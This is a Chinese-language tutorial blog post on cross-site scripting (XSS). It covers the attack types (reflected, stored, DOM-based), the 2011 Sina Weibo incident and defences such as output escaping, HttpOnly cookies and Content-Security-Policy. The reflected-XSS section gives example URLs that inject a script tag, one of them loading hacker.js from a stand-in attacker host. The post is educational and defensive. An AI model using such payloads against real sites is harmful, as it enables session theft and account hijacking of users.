1. 什么是XSS攻擊
跨站腳本攻擊(Cross Site Scripting)本來的縮寫為CSS,為了與層疊樣式表(Cascading Style Sheets,CSS)的縮寫進行區分,將跨站腳本攻擊縮寫為XSS,因此XSS是跨站腳本的意思,
XSS跨站腳本攻擊(Cross Site Scripting),的本質是攻擊者在web頁面插入惡意的script代碼(這個代碼可以是JS腳本、CSS樣式或者其他意料之外的代碼),當用戶瀏覽該頁面之時,嵌入其中的script代碼會被執行,從而達到惡意攻擊用戶的目的,比如讀取cookie,session,tokens,或者網站其他敏感的網站資訊,對用戶進行釣魚欺詐等,比較經典的事故有:
2011年6月28日,新浪微博被XSS攻擊,大量用戶自動轉發微博、私信,自動關注用戶,大量用戶被莫名其妙地控制,因為可以使用JS代碼代替用戶單擊按鈕發送請求,所以損壞非常大,
1.1 XSS攻擊的危害
-
通過 document.cookie 盜取 cookie中的資訊
-
使用 js或 css破壞頁面正常的結構與樣式
-
流量劫持(通過訪問某段具有 window.location.href 定位到其他頁面)
-
dos攻擊:利用合理的客戶端請求來占用過多的服務器資源,從而使合法用戶無法得到服務器回應,并且通過攜帶程序的 cookie資訊可以使服務端回傳400開頭的狀態碼,從而拒絕合理的請求服務,
-
利用 iframe、frame、XMLHttpRequest或上述 Flash等方式,以(被攻擊)用戶的身份執行一些管理動作,或執行一些一般的如發微博、加好友、發私信等操作,并且攻擊者還可以利用 iframe,frame進一步的進行 CSRF 攻擊,
-
控制企業資料,包括讀取、篡改、添加、洗掉企業敏感資料的能力,
2. XSS攻擊的型別
2.1 反射型XSS攻擊
反射型XSS漏洞常見于通過URL傳遞引數的功能,如網站搜索,跳轉等,由于需要用戶主動打開惡意的URL才能生效,攻擊者往往會結合多種手段誘導用戶點擊,比如下面的URL:
http://x.x.x.x:8080/dosomething?message="<script src="http://www.hacktest.com:8002/xss/hacker.js"></script>"
或者
http://localhost/test.php?param=<script>alert(/xss/)</script>
POST的內容也可以觸發反射型XSS,只不過它的觸發條件比較苛刻(構建表單提交頁面,并引導用戶點擊),所以非常少見,
反射型XSS的攻擊步驟
1.攻擊者構造出特殊的URL,其中包含惡意代碼.
2.用戶打開有惡意代碼的URL時,網站服務器端將惡意代碼從URL取出,拼接在HTML回傳給瀏覽器.
3.用戶瀏覽器接收到回應后決議執行,混在其中的惡意代碼也會被執行,
4.惡意代碼竊取用戶資料并發送到攻擊者的網站,或者冒充用戶行為,呼叫目標網站介面執行攻擊者指定的操作,
在網上找了一個大致示意圖,湊合著看,
注意:Chrome和Safari能夠檢測到url上的xss攻擊,將網頁攔截掉,但是其他瀏覽器不行,如IE和Firefox,
防御反射型XSS攻擊
-
對輸入檢查
對請求引數進行檢查,一旦發現可疑的特殊字符就拒絕請求,需要注意的是用戶可以繞過瀏覽器的檢查,直接通過Postman等工具進行請求,所以這個檢查最好前后端都做, -
對輸出進行轉義再顯示
通過上面的介紹可以看出,反射型XSS攻擊要進行攻擊的話需要在前端頁面進行顯示,所以在輸出資料之前對潛在的威脅的字符進行編碼、轉義也是防御XSS攻擊十分有效的措施,比如下面的方式:
app.get('/welcome',function(req,res){
//對查詢引數進行編碼,避免反射型 XSS攻擊
res.send(`${encodeURIComponent(req.query.type)}`);
})
2.2 存盤型XSS攻擊
惡意腳本永久存盤在目標服務器上,當瀏覽器請求資料時,腳本從服務器傳回并執行,影響范圍比反射型和DOM型XSS更大,存盤型XSS攻擊的原因仍然是沒有做好資料過濾:前端提交資料至服務器端時,沒有做好過濾;服務端在按受到資料時,在存盤之前,沒有做過濾;前端從服務器端請求到資料,沒有過濾輸出,
比較常見的場景是,黑客寫下一篇包含有惡意JavaScript代碼的博客文章,文章發表后,所有訪問該博客的用戶,都會在他們的瀏覽器中執行這段惡意js代碼,
存盤型XSS的攻擊步驟
1.攻擊者將惡意代碼提交到目標網站的資料庫中,
2.用戶打開目標網站時,網站服務端將惡意代碼從資料庫中取出,拼接在HTML中回傳給瀏覽器,
3.用戶瀏覽器接收到回應后決議執行,混在其中的惡意代碼也被執行,
4.惡意代碼竊取用戶資料并發送到攻擊者的網站,或冒充用戶行為,凋用目標網站介面執行攻擊者指定的操作.
這種攻擊常見于帶有用戶保存資料的網站功能,如論壇發帖,商品評論,用戶私信等,

預防存盤型XSS攻擊
預防存盤型XSS攻擊也是從輸入和輸出兩個方面來考慮,
- 服務器接收到資料,在存盤到資料庫之前,進行轉義和過濾危險字符;
- 前端接收到服務器傳遞過來的資料,在展示到頁面前,先進行轉義/過濾;
不論是反射型攻擊還是存盤型,攻擊者總需要找到兩個要點,即“輸入點”與"輸出點",也只有這兩者都滿足,XSS攻擊才會生效,“輸入點”用于向 web頁面注入所需的攻擊代碼,而“輸出點”就是攻擊代碼被執行的地方,
2.3 DOM型XSS
DOM型XSS攻擊,實際上就是前端javascript代碼不夠嚴謹,把不可信的內容插入到了頁面,在使用.innerHTML、.outerHTML、.appendChild、document.write()等API時要特別小心,不要把不可信的資料作為HTML插入到頁面上,盡量使用.innerText、.textContent、.setAttribut()等.
DOM型XSS攻擊步驟
1.攻擊者構造出特殊資料,其中包含惡意代碼,
2.用戶瀏覽器執行了惡意代碼
3.惡意竊取用戶資料并發送到攻擊者的網站,或冒充用戶行為,呼叫目標網站介面執行攻擊者指定的操作.
DOM型XSS攻擊中,取出和執行惡意代碼由瀏覽器端完成,屬于前端javascript自身的安全漏洞.
2.4 簡單總結

3. 一些其他的防范策略
-
HTTP-only Cookie:禁止JavaScript讀取某些敏感Cookie,攻擊者完成XSS注入后也無法竊取此Cookie屬性:防止腳本冒充用戶提交危險操作
-
在服務端使用HTTP的Content-Security-Policy頭部來指定策略,或者在前端設定meta標答,例如下面的配置只允許加載同域下的資源:
Content-Security-Policy:default-src 'self'`請輸入代碼`
<meta http-equiv="Content-Security-Policy" content="form-action 'self';">
- 當然也可以使用執行緒的安全掃描工具來檢測,
就目前而言,應對XSS攻擊的主要手段還是編碼與過濾兩種,編碼用于將特殊的符號 "<、>、&、'、""進行html轉義,而過濾則是阻止特定的標記、屬性、事件,如果你不愿意為了嚴格的安全而限制產品本身的靈活,那么我更建議采用“編碼”的方案,
參考
-
https://www.baidu.com/link?url=VmWX3EZSTc2_xNp_nR5z4J2UNIbxlpojOON2N0ySLR3wARNtbyA3O2AFUixbpxZH&wd=&eqid=d59d10a100000d8e000000055d9d7d9f
-
https://segmentfault.com/a/1190000019186996
-
http://www.imooc.com/article/67689
-
http://www.cocoachina.com/articles/29929
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/117850.html
標籤:其他
上一篇:04.卷積神經網路 W2.深度卷積網路:實體探究(作業:Keras教程+ResNets殘差網路)
下一篇:給你講清楚什么是檔案上傳漏洞
